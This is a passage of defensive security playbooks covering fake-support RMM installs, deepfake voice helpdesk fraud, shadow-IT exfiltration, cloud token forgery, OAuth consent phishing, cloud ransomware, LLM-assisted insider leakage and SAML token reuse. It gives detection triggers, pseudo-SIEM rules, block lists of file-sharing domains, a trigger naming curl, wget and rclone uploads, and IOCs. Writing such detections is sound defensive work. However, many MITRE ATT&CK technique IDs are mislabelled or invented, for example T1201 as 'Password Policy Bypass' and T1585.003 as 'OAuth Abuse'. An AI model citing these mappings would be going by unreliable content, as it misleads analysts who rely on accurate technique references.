- Alert on any deviation or shadow IT installations

Action 14: User training on tech support scam tactics

- Train staff to avoid installing remote tools on request
- Raise awareness on fake support, pop-ups and QR phishing linked to RMM installs

8. Reporting and Documentation

- Incident ID: DRP-2025-022
- Severity: High (unauthorised RMM agent provided full remote access)
- Impact: User account compromised via fake support call; RMM agent installed; attacker accessed network share
- IOCs Collected:
    - Agent: ScreenConnect Client 22.10.1
    - Hash: a13d988d27140cb265f4a...
    - C2 IP: 185.220.101.23
    - URL: https[:]//dropfiles[.]io/Install_Support.msi
- MITRE Mapping:
    - Initial Access: T1566.002
    - Execution: T1219, T1027
    - Persistence: T1053.005
    - C2: T1105

Detection and Response Playbook 23: Insider Threat Using AI-Generated Deepfake Voice Calls

1. Overview

Attack Type: Social Engineering + Insider Threat
Tactic: Initial Access, Credential Access, Privilege Escalation
Technique (MITRE ATT&CK):

- T1566.001 - Phishing: Spearphishing via Phone
- T1078 - Valid Accounts
- T1556.002 - Adversary-in-the-Middle: Voice Impersonation
- T1531 - Account Access Removal
- T1585.002 - Forge Voice Biometric Authentication
- T1201 - Password Policy Bypass

2. Attack Summary

In this advanced scenario, an attacker uses AI to generate a deepfake voice that mimics a high-level executive or IT administrator. They call a helpdesk agent, HR officer or system administrator using voice-over-IP services, impersonating a known voice to request urgent actions such as password resets, MFA bypass or VPN access approvals. Once trust is gained, the attacker escalates access using valid credentials or tricks insiders into disabling security controls, effectively weaponising social trust and AI voice cloning.

3. Detection Steps

3.1 Helpdesk and Access Logs

- Data Source: Helpdesk ticketing system, IAM system logs
- Detection Trigger:
    - High-privilege account password reset requested outside business hours
    - Manual MFA disablement or bypass without ticket justification
    - Helpdesk-issued credentials or temporary access tokens

3.2 Voice Call and Comms Monitoring (Where Applicable)

- Data Source: VoIP call logs, softphone platforms (e.g. Zoom Phone, MS Teams Calling), call recording tools
- Detection Trigger:
    - Inbound calls claiming urgency involving C-level personnel
    - Language patterns lacking normal interaction markers (e.g. scripted-sounding speech, delayed reaction, robotic tone)
    - Repeated calls to helpdesk from anonymised or burner numbers

3.3 User Behaviour Analytics

- Data Source: UEBA, SIEM
- Detection Trigger:
    - Credential use immediately after password reset from new location or device
    - Sudden privilege escalation not aligned with user role
    - Access to resources never previously touched by that user

4. Response Actions

4.1 Containment

Action 1: Disable impacted accounts

- Lock any accounts reset via deepfake call
- Suspend sessions and enforce password change via secure channel

Action 2: Block attacker persistence

- Re-enable MFA or security controls if disabled
- Revoke temporary access codes or device trust tokens

Action 3: Alert security and HR

- Coordinate with HR and fraud team to identify internal or external actors involved
- Escalate incident to executive risk teams due to impersonation attempt

5. Investigation

5.1 Reconstruct the Attack Chain

Action 4: Review helpdesk logs and call recordings

- Identify exact time, caller ID, nature of request
- Extract audio samples for AI voice pattern analysis (if available)

Action 5: Examine access logs post-reset

- Correlate credential usage with endpoint, IP, geolocation and browser fingerprint
- Determine if lateral movement occurred using the newly granted access

5.2 Attribution and Actor Profile

Action 6: Investigate internal involvement

- Identify if insider assisted the attacker knowingly or was manipulated
- Review previous access history and communication patterns for anomalies

Action 7: Match voice deepfake patterns with known kits

- Use threat intel to compare speech synthesis style with known AI voice kits (e.g. ElevenLabs misuse, open-source tools like Coqui TTS)

6. Recovery and Remediation

6.1 Secure Authentication and Reverification

Action 8: Re-enable MFA on all impacted accounts

- Force re-registration of MFA devices
- Enable hardware-based authentication (e.g. FIDO2 tokens) for privileged users

Action 9: Conduct reverification of access privileges

- Review all password resets in last 30 days for anomalies
- Roll back unnecessary privilege grants or VPN exceptions

6.2 Helpdesk Hardening and Voice Verification Protocol

Action 10: Enforce call-back procedure

- Never perform privileged actions on first call
- Always verify sensitive requests through separate, authenticated channel (e.g. secure mobile callback, ticket approval)

Action 11: Introduce voice passphrase or knowledge-based verification

- Require pre-set verbal passphrase or real-time cross-check before accepting reset or MFA removal

7. Lessons Learned

7.1 Policy and Playbook Revision

Action 12: Helpdesk impersonation response rule

rule: Voice Impersonation Risk
if password_reset

and initiator_identity == "phone"
and account_role in ["admin", "executive"]
and mfa_disabled == true
then escalate_alert

Action 13: Improve staff awareness on AI threats

- Train helpdesk and HR teams on deepfake voice threats
- Simulate audio phishing as part of security awareness campaigns

Action 14: Record and audit all high-impact account changes

- Log and store recordings or transcripts for password resets, account unlocks
- Require supervisory approval for security-sensitive actions over voice

8. Reporting and Documentation

- Incident ID: DRP-2025-023
- Severity: Critical (voice deepfake used to compromise high-value account)
- Impact: Admin account MFA bypassed, SharePoint files accessed, VPN token issued
- IOCs Collected:
    - VoIP Caller ID: +447700900123
    - Voice Sample: 7-second delay, no background noise, monotone delivery
    - Login IP: 154.16.54.32 (first use of password after reset)
- MITRE Mapping:
    - Initial Access: T1566.001
    - Credential Access: T1556.002, T1078
    - Persistence: T1201
    - Defense Evasion: T1531

Detection and Response Playbook 24: Shadow IT and Unauthorised SaaS Usage for Data Sharing

1. Overview

Attack Type: Data Exposure via Unmanaged Services
Tactic: Exfiltration, Defense Evasion, Command and Control
Technique (MITRE ATT&CK):

- T1537 - Transfer Data to Cloud Account
- T1087.003 - Account Discovery: Cloud Accounts
- T1071.001 - Application Layer Protocol: Web Protocols
- T1110.003 - Brute Force: Password Spraying
- T1114.002 - Email Collection via Cloud
- T1203 - Exploitation of Remote Services

2. Attack Summary

An insider or compromised user uploads sensitive documents or data to unapproved SaaS platforms (e.g. WeTransfer, Dropbox Personal, Google Drive personal, Pastebin) using either browser or CLI-based tools. The data is then accessed externally, resulting in potential intellectual property theft or data leakage. This often bypasses DLP and firewall monitoring if browser-based or encrypted via HTTPS. Some attackers further automate the process via RPA bots or browser extensions.

3. Detection Steps

3.1 Network and DNS Monitoring

- Data Source: Proxy logs, DNS logs, firewall logs, NDR
- Detection Trigger:
    - Outbound HTTPS traffic to unauthorised domains associated with file sharing (e.g. dropboxusercontent.com, transfer.sh)
    - DNS resolution to shadow SaaS platforms during business hours from corporate devices
    - Upload traffic anomalies from endpoints not in file transfer roles (e.g. HR, Legal)

3.2 Endpoint and Browser Telemetry

- Data Source: EDR, browser history, Sysmon, browser extension inventory
- Detection Trigger:
    - Usage of CLI tools like rclone, wget, curl uploading to public URLs

    - Use of browser extensions with access to clipboard, file system or persistent cookies
    - Drag-and-drop uploads from sensitive file locations (e.g. D:\Projects\Confidential)

3.3 CASB or SSPM Detection

- Data Source: CASB logs (e.g. Netskope, Microsoft Defender for Cloud Apps), SaaS Security Posture tools
- Detection Trigger:
    - Unsanctioned SaaS use from managed endpoints
    - Login to personal cloud accounts (e.g. gmail.com) via corporate browser
    - OAuth connection from enterprise account to external services

4. Response Actions

4.1 Containment

Action 1: Block access to shadow SaaS services

- Apply proxy-level or DNS-level blocks for file-sharing and pastebin sites
- Use regex to block dynamic upload domains (e.g. *.transfer.sh, *.anonfiles.com)

Action 2: Disable cloud access tokens (if integrated)

- Revoke OAuth tokens issued to unapproved cloud storage apps
- Disable unsanctioned cloud accounts linked to corporate email domains

Action 3: Quarantine affected endpoints

- Place endpoint in isolated VLAN for forensic imaging
- Freeze browser sessions and collect memory image if tampering suspected

5. Investigation

5.1 Review Data Movement Patterns

Action 4: Review file access logs

- Determine which files were accessed prior to exfiltration
- Correlate with user's typical behaviour and time-of-day anomalies

Action 5: Examine browser and CLI usage

- Extract browser history and extension activity
- Analyse command-line usage for tools like rclone or OneDriveUploader.ps1

5.2 Determine Actor Intent

Action 6: Classify event: negligent vs malicious

- Identify if user was unaware of policy or trying to bypass controls
- Review past incidents or HR flags against the user

Action 7: Correlate with known data theft campaigns

- Match domains or upload behaviour with campaigns known to use SaaS exfiltration
- Check VirusTotal, AbuseIPDB or internal TI platform for related IPs

6. Recovery and Remediation

6.1 Data Cleanup and Revocation

Action 8: Remove public file links (if possible)

- Use takedown procedures via Dropbox, Google, Pastebin abuse channels
- Notify legal and compliance for data breach containment

Action 9: Reclassify and resecure shared data

- Apply encryption, access controls or redaction to data affected
- Revalidate that source systems were not further accessed or tampered with

6.2 Policy Enforcement and User Restriction

Action 10: Enforce data sharing policies

- Apply browser controls or DLP rules to block uploads to unknown domains
- Require file tagging and classification before export

Action 11: Restrict installation of unauthorised tools

- Use application control (e.g. AppLocker, Jamf, Intune) to prevent CLI-based uploads
- Block installation of browser extensions not on approved list

7. Lessons Learned

7.1 Detection Engineering and Awareness

Action 12: SIEM rule for unauthorised file upload

```
rule: Shadow IT SaaS Upload
if outbound_https_to in ["wetransfer.com", "anonfiles.com", "sendgb.com"]
and file_transfer_volume > 10MB
and user_role != "IT"
then alert
```

Action 13: Conduct insider threat drills

- Simulate scenarios where users exfiltrate data to personal accounts
- Involve legal, HR and cybersecurity in red team review

Action 14: Increase staff awareness of shadow IT risks

- Train users on risks of unsanctioned SaaS and data sharing
- Clearly communicate list of approved platforms

8. Reporting and Documentation

- Incident ID: DRP-2025-024
- Severity: Medium to High (depends on nature of shared data and external access)
- Impact: 19 documents uploaded to unauthorised Google Drive account; download link shared with external Gmail addresses
- IOCs Collected:
    - Domain: drive.google.com/u/1/my-drive
    - Source Tool: rclone with --drive-upload-cutoff
    - User Agent: Chrome 123 with “FileUploader Pro” extension
    - DNS hits: anonfiles.com, send-anywhere.com
- MITRE Mapping:
    - Exfiltration: T1537
    - Discovery: T1087.003
    - C2/Transfer: T1071.001
    - Defense Evasion: T1203

Detection and Response Playbook 25: Zero-Day Exploitation via Cloud Misconfiguration and Token Manipulation

1. Overview

Attack Type: Cloud Exploitation / Access Abuse
Tactic: Initial Access, Privilege Escalation, Persistence, Defense Evasion
Technique (MITRE ATT&CK):

- T1078.004 - Valid Accounts: Cloud Accounts
- T1552.001 - Unsecured Credentials in Storage
- T1526 - Cloud Service Discovery
- T1606.002 - Forge Access Token: Cloud Accounts
- T1578.001 - Modify Cloud Compute Infrastructure: Snapshot
- T1484.002 - Domain Trust Modification (cloud federation abuse)

2. Attack Summary

A zero-day vulnerability in a cloud platform's identity service (e.g. Azure AD, AWS IAM, Google Cloud Identity) allows a threat actor to forge or reuse authentication tokens, gaining access to misconfigured services and accounts. Attackers bypass MFA and traditional login telemetry by generating valid tokens locally or via stolen private signing keys (e.g. compromised token signing certificates in Azure). They pivot through cloud services by escalating privileges, modifying trust relationships and accessing resources via APIs or CLI tools, often without triggering login events.

3. Detection Steps

3.1 Identity and Access Management Logs

- Data Source: Azure AD Sign-in Logs, AWS CloudTrail, Google Workspace Admin Audit
- Detection Trigger:
    - API calls authenticated using tokens not associated with recent interactive logins
    - JWT tokens with anomalies (e.g. long TTLs, non-standard audience claims)
    - Access patterns where login type is "token-based" without corresponding MFA event

3.2 Cloud API and Resource Activity

- Data Source: CloudTrail (AWS), Azure Activity Logs, GCP Audit Logs
- Detection Trigger:
    - Creation of new IAM roles or assignment of "Owner" or "Admin" privileges

    - Snapshotting or cloning of sensitive VM workloads
    - Access to key storage (e.g. Azure Key Vault, AWS Secrets Manager) from unknown sessions

3.3 Token Behavioural Analysis

- Data Source: SIEM, Identity Provider telemetry, CASB
- Detection Trigger:
    - Tokens issued from unknown IP ranges or regions inconsistent with user patterns
    - Reuse of access tokens after user sign-out
    - Token headers signed with unexpected or legacy certificates

4. Response Actions

4.1 Containment

Action 1: Revoke all active access tokens

- Use identity provider API to invalidate all tokens across affected users and apps
- Trigger forced reauthentication and MFA prompts

Action 2: Isolate affected cloud assets

- Disable exposed services (e.g. public APIs, misconfigured storage buckets)
- Snapshot compromised instances for forensics and shut them down

Action 3: Block external access paths

- Apply firewall rules, restrict CIDRs and disable external endpoints temporarily
- Review conditional access policies and re-enforce network restrictions

5. Investigation

5.1 Token Analysis

Action 4: Extract and decode suspicious JWTs or access tokens

- Analyse iss, aud, iat and exp claims
- Check signature algorithm and validate certificate chain

Action 5: Review token issuance paths

- Identify whether token was generated via OAuth flow, SAML or forged via exposed signing certificate
- Look for expired, unrotated or compromised keys in metadata

5.2 Cloud Resource Access Review

Action 6: Investigate changes to IAM policies or roles

- Detect role escalation, new role creation or trust policy modification
- Map sequence of actions post-token use (e.g. secret access, compute provisioning)

Action 7: Trace lateral movement via tokens

- Map token propagation across services (e.g. GCP STS chaining, AWS AssumeRole abuse)

6. Recovery and Remediation

6.1 Reset Cloud Trust and Access

Action 8: Rotate all identity provider signing keys

- Replace compromised certificates or key material
- Reconfigure federation with third-party IDPs if needed

Action 9: Rebuild affected access policies

- Remove excessive role permissions and reapply principle of least privilege
- Audit service principals and automated roles for scope creep

6.2 Patch, Harden and Monitor

Action 10: Apply available vendor patches or mitigations

- Apply emergency guidance from CSP (e.g. Microsoft Security Advisory)
- Validate configuration against updated CIS benchmarks

Action 11: Enable advanced identity protection features

- Implement token binding, conditional access based on device posture
- Enable “token sign-in events” logging and anomaly detection

7. Lessons Learned

7.1 Detection Engineering and Controls

Action 12: SIEM rule for forged token activity

rule: Suspicious Cloud Token Use
if token_use == "access"
and login_type == "non-interactive"
and user_agent != known_apps
and MFA_result == "null"
then alert

Action 13: Regularly audit token signing infrastructure

- Ensure key rotation schedules are enforced
- Monitor metadata exposure and federated identity setups

Action 14: Perform cloud-specific red team exercises

- Simulate token misuse scenarios in cloud-only environments
- Include abuse of trust relationships and cross-tenant federation

8. Reporting and Documentation

- Incident ID: DRP-2025-025
- Severity: Critical (token-based bypass of identity system in cloud)
- Impact: 5 high-privilege accounts accessed, 12 secrets exposed, 3 compute instances cloned
- IOCs Collected:
    - JWT token kid: MIIDJzCCAg+gAwIBAgIQ
    - IP: 156.232.15.88 (Azure token replay)
    - Role Escalation: Reader → Contributor → Owner within 8 minutes
- MITRE Mapping:
    - Initial Access: T1078.004
    - Credential Access: T1552.001
    - Defense Evasion: T1606.002
    - Impact: T1578.001

Detection and Response Playbook 26: Advanced Business Email Compromise with SaaS OAuth Abuse

1. Overview

Attack Type: SaaS Abuse / Identity Hijacking
Tactic: Initial Access, Credential Access, Exfiltration, Impact
Technique (MITRE ATT&CK):

- T1078.004 - Valid Accounts: Cloud Accounts
- T1556.004 - Adversary-in-the-Middle: Forge Web Credentials
- T1550.001 - Application Access Token Abuse
- T1566.002 - Phishing: Link
- T1114.002 - Email Collection via Cloud
- T1585.003 - OAuth Abuse: Cloud App Permission Grant

2. Attack Summary

In this scenario, an attacker gains initial access to a corporate email account through phishing, credential stuffing or via OAuth consent phishing. Instead of stealing credentials directly, the attacker tricks the user into authorising a malicious SaaS application (e.g., "Secure Docs Viewer") that silently grants persistent access via OAuth. The application can access the user's mailbox, OneDrive/Google Drive, Teams/Slack messages and more, without triggering login alerts. This persistence allows long-term monitoring of financial communications and eventual launch of a payment diversion attack.

3. Detection Steps

3.1 OAuth and Identity Provider Logs

- Data Source: Microsoft Entra ID (Azure AD), Google Admin Console, Okta logs
- Detection Trigger:
    - New third-party OAuth application consented with Mail.ReadWrite, Files.Read.All, User.Read.All, etc.
    - OAuth app granted without admin approval
    - Consent given from user IP that differs from login IP

3.2 Email Activity and Usage Logs

- Data Source: M365 Unified Audit Log, Gmail Activity, CASB logs
- Detection Trigger:
    - Forwarding rules created silently
    - Unusual access to mailbox outside business hours
    - Email read patterns that don't match user interaction

3.3 Financial Workflow Surveillance

- Data Source: Email-to-finance alerts, SIEM custom watchlists
- Detection Trigger:
    - Sudden spike in finance-related keyword searches (e.g., “invoice”, “payment”, “SWIFT”, “USD”)
    - New draft emails to vendors with updated account numbers
    - Auto-deletion of specific mail threads post-sending

4. Response Actions

4.1 Containment

Action 1: Revoke OAuth tokens and app access

- Immediately remove malicious application from user’s app list via admin portal
- Revoke all OAuth refresh tokens for impacted account

Action 2: Disable mailbox rules

- Remove inbox rules that forward or auto-delete specific types of mail
- Search for and purge staged BEC emails in draft or sent folder

Action 3: Notify Finance and Legal

- Inform payment authorisation teams of potential spoofing attempt
- Freeze all pending financial transactions if spoofed invoice found

5. Investigation

5.1 Identify Initial Access

Action 4: Review consent grant logs

- Determine when and how the malicious SaaS app was approved
- Check if similar apps were granted to other users (lateral campaign)

Action 5: Correlate app activity with mailbox access

- Match time of app consent with spike in message access or download
- Identify any changes made to email threads or calendar invites

5.2 Determine Spread and Data Exposure

Action 6: Investigate linked document access

- Identify if OneDrive, SharePoint or Google Drive files were also accessed
- Cross-reference with customer data, invoices, HR documents

Action 7: Assess impersonation attempts

- Search external-facing messages using victim's mailbox
- Flag any messages that request payment, wire transfer or update of financial records

6. Recovery and Remediation

6.1 Secure Identity and Communications

Action 8: Reset affected user's credentials and MFA registration

- Enforce MFA re-registration and security review for OAuth consent history
- Apply risk-based conditional access (e.g. block legacy auth, country-based access)

Action 9: Communicate with affected stakeholders

- Notify internal and external vendors that emails may have been compromised
- Ask recipients to validate all payment instructions verbally

6.2 SaaS Platform Hardening

Action 10: Enforce OAuth app governance

- Only allow specific app IDs or publisher-verified apps
- Require admin approval for sensitive scopes (mailbox, drive, calendar)

Action 11: Implement mailbox protection and anomaly alerting

- DLP monitoring for sensitive terms
- Anomaly alerts for forward rules, login location mismatch, new app logins

7. Lessons Learned

7.1 Detection Engineering and Awareness

Action 12: SIEM detection rule for OAuth abuse

rule: Suspicious OAuth Consent
if oauth_app_permissions include ["Mail.Read", "Files.Read.All"]

and user_role != "Admin"
and approval_type == "UserConsent"
and ip_address != baseline_geo
then alert

Action 13: Launch user awareness campaign

- Train employees on SaaS consent phishing, especially in finance and HR
- Show how OAuth phishing bypasses password-based detection

Action 14: Enforce application approval workflow

- Use SSPM or CASB to detect and block high-risk SaaS integrations
- Maintain SaaS inventory with real-time change detection

8. Reporting and Documentation

- Incident ID: DRP-2025-026
- Severity: Critical (unauthorised persistent mailbox access, financial fraud attempt)
- Impact: RM67,000 nearly redirected via modified invoice; OAuth app accessed 3,800 emails
- IOCs Collected:
    - OAuth App ID: a7e3f2b1-98f5-4e2e-a2c0-7a51ac3d2193
    - IP: 103.215.77.45 (consent grant)
    - Redirect URI: hxxps://saasdocs-viewer[.]info/callback
- MITRE Mapping:
    - Initial Access: T1566.002
    - Credential Access: T1556.004
    - Defense Evasion: T1550.001
    - Exfiltration: T1114.002
    - Impact: T1585.003

Detection and Response Playbook 27: Cloud Ransomware via Public Bucket and Service Account Misuse

1. Overview

Attack Type: Cloud Resource Abuse + Ransomware
Tactic: Initial Access, Credential Abuse, Exfiltration, Impact
Technique (MITRE ATT&CK):

- T1530 - Data from Cloud Storage Object
- T1078.004 - Valid Accounts: Cloud Accounts
- T1550.003 - Application Access Token
- T1485 - Data Destruction
- T1486 - Data Encrypted for Impact
- T1580 - Cloud Infrastructure Compromise

2. Attack Summary

An attacker compromises a cloud environment either by accessing a publicly exposed storage bucket or by stealing service account credentials. They enumerate resources, escalate privileges and target critical files in storage (e.g., S3 buckets, Azure Blob storage, Google Cloud Storage) by exfiltrating and then encrypting or deleting them. A ransom note is dropped in each bucket or directory, often in the form of README_RESTORE.txt. This attack causes significant disruption and is increasingly seen as part of double-extortion campaigns in the cloud era.

3. Detection Steps

3.1 Cloud Storage Access Monitoring

- Data Source: AWS CloudTrail, Azure Storage Logs, GCP Access Transparency Logs
- Detection Trigger:
    - Unusual access to public buckets from non-corporate IPs
    - Sudden spike in read/delete/write operations in cloud storage within a short time window
    - New file uploads with ransomware note signatures (e.g., restore.txt, decrypt_key.txt)

3.2 Service Account and Identity Abuse

- Data Source: IAM logs, GCP Service Account Key Logs, Azure AD Logs
- Detection Trigger:
    - Usage of service accounts outside known boundaries (e.g., dev account used in prod)

    - Long-lived access tokens or keys used from previously unseen geolocations
    - Role assumption or privilege escalation activity

3.3 File Integrity and Configuration Drift

- Data Source: CSPM tools, SIEM with object metadata analysis
- Detection Trigger:
    - File overwrite events on sensitive storage paths
    - Mass encryption of file names with .locked, .cloudlock, .enc extensions
    - Changes to bucket IAM policies or access control lists (ACLs)

4. Response Actions

4.1 Containment

Action 1: Revoke service account keys and tokens

- Immediately disable the compromised service account or rotate all associated keys
- Use cloud provider API to revoke active sessions

Action 2: Freeze affected storage buckets

- Set all affected buckets to read-only
- Disable public access and restrict to admin-only access groups

Action 3: Isolate attacker IP ranges

- Block known malicious IPs via firewall rules or network security groups (NSGs)
- Suspend VPN or direct connect tunnels from suspicious origins

5. Investigation

5.1 Trace Attack Path

Action 4: Review access logs for the storage bucket

- Identify initial access timestamp, user/service account used and source IP
- Map sequence of actions: list → download → encrypt/delete → ransom upload

Action 5: Examine IAM and service account activity

- Track creation or use of new service account keys
- Investigate lateral movement or API calls for privilege changes

5.2 Assess Data Exposure and Impact

Action 6: Analyse files accessed or encrypted

- Categorise data: internal, customer, regulatory-protected (e.g., PII, PCI)
- Check for data exfiltration signs before encryption

Action 7: Review ransom note content and origin

- Extract wallet address, email contact or TOR site
- Cross-reference with ransomware threat intel (e.g., CloudLock, SnatchCloud)

6. Recovery and Remediation

6.1 Data Restoration

Action 8: Recover from cloud backup or object versioning

- Use point-in-time recovery for storage buckets if enabled
- If object versioning is enabled, rollback encrypted files to previous state

Action 9: Patch and audit bucket configuration

- Apply least privilege principle to storage access policies
- Enforce encryption at rest and restrict uploads by role

6.2 Identity and Access Hygiene

Action 10: Rotate service account credentials

- Implement short-lived tokens over static keys
- Enforce MFA for sensitive roles where possible (e.g. via workload identity federation)

Action 11: Enable real-time alerts on bucket misconfigurations

- Use CSPM, SSPM or native tools (e.g., AWS Config, Azure Defender for Storage)
- Auto-remediate bucket exposure or IAM misalignment

7. Lessons Learned

7.1 Detection Engineering and Configuration

Action 12: SIEM rule for cloud ransomware detection

rule: Cloud Storage Ransomware Behavior
if storage_bucket_activity includes ["delete", "overwrite", "upload"]
and file_extension in [".locked", ".enc", ".cloudlock"]
and user_identity in ["serviceAccount", "unknown_user"]
then alert

Action 13: Conduct quarterly storage security reviews

- Check for public buckets, unused keys, role sprawl
- Simulate data access attempts from outside corporate perimeter

Action 14: Integrate incident with broader IR playbook

- Ensure cloud-specific forensics workflows are available
- Automate threat containment using SOAR integrations with cloud APIs

8. Reporting and Documentation

- Incident ID: DRP-2025-027
- Severity: Critical (cloud data encrypted, ransom demanded, partial data exfiltration)
- Impact: 3 S3 buckets encrypted, 22GB of data inaccessible, 1 backup snapshot deleted
- IOCs Collected:
    - IP: 185.212.171.44
    - Wallet address: bc1q0zrvx8s9nce73jsk9...
    - Ransom note hash: SHA256: 8a47f3ae3cd4...
    - Service Account ID: svc-rw-storage-prod@org.cloud
- MITRE Mapping:
    - Initial Access: T1078.004
    - Credential Access: T1550.003
    - Impact: T1486, T1485
    - Exfiltration: T1530

Detection and Response Playbook 28: Insider Fraud Leveraging LLM Tools and Screen Capture Extensions

1. Overview

Attack Type: Insider Threat / Fraud / Data Leakage via LLM Integration
Tactic: Collection, Exfiltration, Impact
Technique (MITRE ATT&CK):

- T1530 - Data from Cloud Storage Object
- T1213.003 - Data from Information Repositories: Local Email Collection
- T1056.001 - Input Capture: Keylogging or Screen Capture
- T1110.003 - Brute Force: Password Spraying
- T1567.002 - Exfiltration Over Web Service
- T1608.001 - Stage Capabilities: Upload Tool

2. Attack Summary

An insider leverages LLM-integrated tools (e.g. AI writing assistants, data summarisers, chatbot plugins) combined with browser-based screen capture extensions or clipboard loggers to extract sensitive business data without direct file transfers. Using trusted tools such as ChatGPT plugins or Chrome extensions, they paste confidential information for summarisation or copy screen content silently. This data is then staged and sent out via personal cloud storage, encrypted notes or embedded in web form submissions, avoiding traditional DLP detection.

3. Detection Steps

3.1 Browser Extension and Clipboard Monitoring

- Data Source: EDR browser telemetry, Chrome/Edge extension inventory, CASB
- Detection Trigger:
    - Installation or usage of browser extensions with tabs, clipboardRead, desktopCapture or fileSystem permissions
    - High-frequency copy-paste actions involving text from sensitive systems
    - Screenshot API access from extensions with no business justification

3.2 LLM Interaction and External Posting

- Data Source: Network proxy, endpoint monitoring, ChatGPT Enterprise logs (if available), application telemetry
- Detection Trigger:
    - Repeated interactions with LLM endpoints (e.g. chat.openai.com, gemini.google.com, claude.ai) with large input payloads

    - Use of external productivity tools (e.g., Notion, Evernote, Grammarly) after copying from corporate dashboards
    - POST requests to unknown or unauthorised web forms or no-code platforms

3.3 User Behaviour Analytics

- Data Source: UEBA, session recordings, keylogger protection software
- Detection Trigger:
    - User accessing HR/Finance/Legal systems and immediately opening summarisation tools
    - Unusual behaviour: text extraction during off-peak hours or while screen locked
    - Pattern of using LLM tools before resignation or known HR dispute

4. Response Actions

4.1 Containment

Action 1: Revoke access to AI-integrated tools for user

- Block network access to AI plugin domains (e.g., chat.openai.com, zapier.com, notion.so)
- Disable risky browser extensions remotely using MDM or browser policy enforcement

Action 2: Suspend user sessions and isolate device

- Lock affected user account temporarily
- Capture RAM and clipboard for forensic evidence

Action 3: Notify compliance, legal and HR teams

- Classify incident under insider fraud category
- Engage internal investigations with appropriate confidentiality

5. Investigation

5.1 Trace Data Extraction Activities

Action 4: Review clipboard and screen interaction logs

- Extract timestamped records of clipboard use during sensitive file access
- Correlate with usage of summarisation tools, export actions and browser events

Action 5: Examine extension permissions and API calls

- Review extensions with chrome.tabs.captureVisibleTab, chrome.desktopCapture
- Identify if data was transmitted to remote domains or local staging folders

5.2 Assess Extent of Data Exposure

Action 6: Compare LLM input prompts to business context

- Determine if confidential terms (e.g. salary data, customer contracts, trade secrets) were copied
- Identify if AI plugins stored data persistently (e.g., “history” features)

Action 7: Check for outbound transfers

- Search for email attachments, file uploads or form submissions to personal domains
- Review browser history, autocomplete records and session tokens

6. Recovery and Remediation

6.1 Revoke and Harden Controls

Action 8: Remove unauthorised browser extensions

- Disable non-approved extensions via Chrome Enterprise Policy or Edge Group Policy
- Enforce extension allowlist at endpoint or domain level

Action 9: Limit AI assistant usage in sensitive environments

- Use private LLM deployments or enforce masked/redacted prompts
- Disable clipboard and screen sharing in VDI or sensitive workloads

6.2 Train and Monitor for Insider Threat

Action 10: Reinforce insider fraud awareness

- Train users on acceptable use of AI assistants
- Explain privacy risks of summarising internal documents using external tools

Action 11: Apply contextual DLP and anomaly detection

- Use DLP to flag copy-paste events of structured data

- Monitor patterns such as “copy, LLM use, paste to Notion” workflow

7. Lessons Learned

7.1 Detection Engineering and Insider Risk Governance

Action 12: SIEM rule for clipboard + AI tool pattern

```
rule: Suspicious Clipboard + LLM Usage
if clipboard_event == "large_text"
and next_event in ["openai.com", "notion.so", "gemini.google.com"]
and user_role in ["finance", "HR", "legal"]
then alert
```

Action 13: Deploy browser telemetry agents

- Enforce visibility into extension installs, clipboard interactions and screen capture
- Tie extension use to device posture and access policies

Action 14: Run periodic insider threat red team simulations

- Use controlled scenarios where fake employees use LLMs to summarise fake payroll reports
- Measure control effectiveness and human alertness

8. Reporting and Documentation

- Incident ID: DRP-2025-028
- Severity: High (intentional insider data misuse with AI support)
- Impact: Internal salary structure copied and summarised via LLM, then copied into Notion workspace tied to personal account
- IOCs Collected:
    - Chrome Extension ID: mhjfbmdgcfjbbpaeojofohoefgiehjai (screen capture tool)
    - Destination Domain: private-notes.ai
    - Prompt Extract: Summarise the compensation breakdown in this table
- MITRE Mapping:
    - Collection: T1056.001, T1213.003
    - Exfiltration: T1567.002
    - Credential Abuse: T1608.001

Detection and Response Playbook 29: Multi-Tenant SaaS Account Takeover via SAML Token Reuse

1. Overview

Attack Type: Identity Abuse / Lateral Account Takeover
Tactic: Initial Access, Defense Evasion, Credential Access, Persistence
Technique (MITRE ATT&CK):

- T1078.004 – Valid Accounts: Cloud Accounts
- T1606.002 – Forge Web Credentials: SAML Tokens
- T1550.003 – Application Access Token
- T1552.001 – Unsecured Credentials
- T1098 – Account Manipulation
- T1484.002 – Domain Trust Abuse

2. Attack Summary

In this advanced cloud attack, the threat actor compromises a SAML signing key or gains access to a stolen SAML token from a third-party provider (e.g. Okta, Azure AD, ADFS). By reusing the token across trusted tenants or modifying it (with forged claims), the attacker bypasses multi-factor authentication and gains privileged access to SaaS platforms like Microsoft 365, Salesforce or Workday. Since SAML tokens are bearer tokens, they can be replayed without further authentication. This attack enables stealthy movement across tenants and long-term persistence in federated environments.

3. Detection Steps

3.1 Identity Provider and Federated Login Logs

- Data Source: Azure AD sign-in logs, Okta logs, Cloud Access Security Broker (CASB)
- Detection Trigger:
    - Authentication with login_type = federated but MFA = null
    - SAML tokens issued from older or revoked signing certs
    - SAML logins to new tenants not previously accessed by the user

3.2 Token Anomaly Analysis

- Data Source: SIEM with JWT/SAML decoding, Identity analytics platforms
- Detection Trigger:
    - SAML token reuse across different source IPs within short intervals
    - audience, issuer or NameID mismatch in tokens used for login
    - Elevated role claims (e.g. admin, superuser, global_reader) injected into tokens

3.3 SaaS Platform Activity

- Data Source: M365 Unified Audit Logs, Salesforce event logs, Workday audit trails
- Detection Trigger:
    - Access to sensitive APIs or admin portals via federated sessions
    - Configuration changes (e.g. adding new SSO configurations, mailbox rules, API keys)
    - Login session with MFA = false but role = GlobalAdmin or SystemAdmin

4. Response Actions

4.1 Containment

Action 1: Invalidate all active SAML sessions

- Force sign-outs across affected identity providers
- Disable federated trust between compromised IdP and relying parties (if applicable)

Action 2: Revoke affected certificates and tokens

- Immediately revoke signing certificates associated with the reused SAML tokens
- Disable trust relationships in SSO configuration between affected tenants

Action 3: Block attacker IP ranges

- Use network policies or CASB to block logins from external, suspicious IP addresses
- Apply conditional access to require reauthentication and risk-based challenges

5. Investigation

5.1 Trace SAML Token Abuse

Action 4: Decode and analyse SAML tokens

- Extract issuer (iss), audience (aud), expiry (exp) and claims
- Compare against approved metadata XML in SSO configurations

Action 5: Investigate federation misuse

- Check if the compromised SAML configuration was part of an inter-tenant trust
- Review third-party IdPs or business partners' metadata and certificate history

5.2 Assess Impact and Data Access

Action 6: Examine activity under reused tokens

- Track admin actions, role escalations and mailbox access
- Look for data exports, new user creations or rule modifications

Action 7: Identify other affected tenants or users

- Check audit logs for identical SAML token fingerprints or suspicious role grants
- Determine blast radius of token trust abuse

6. Recovery and Remediation

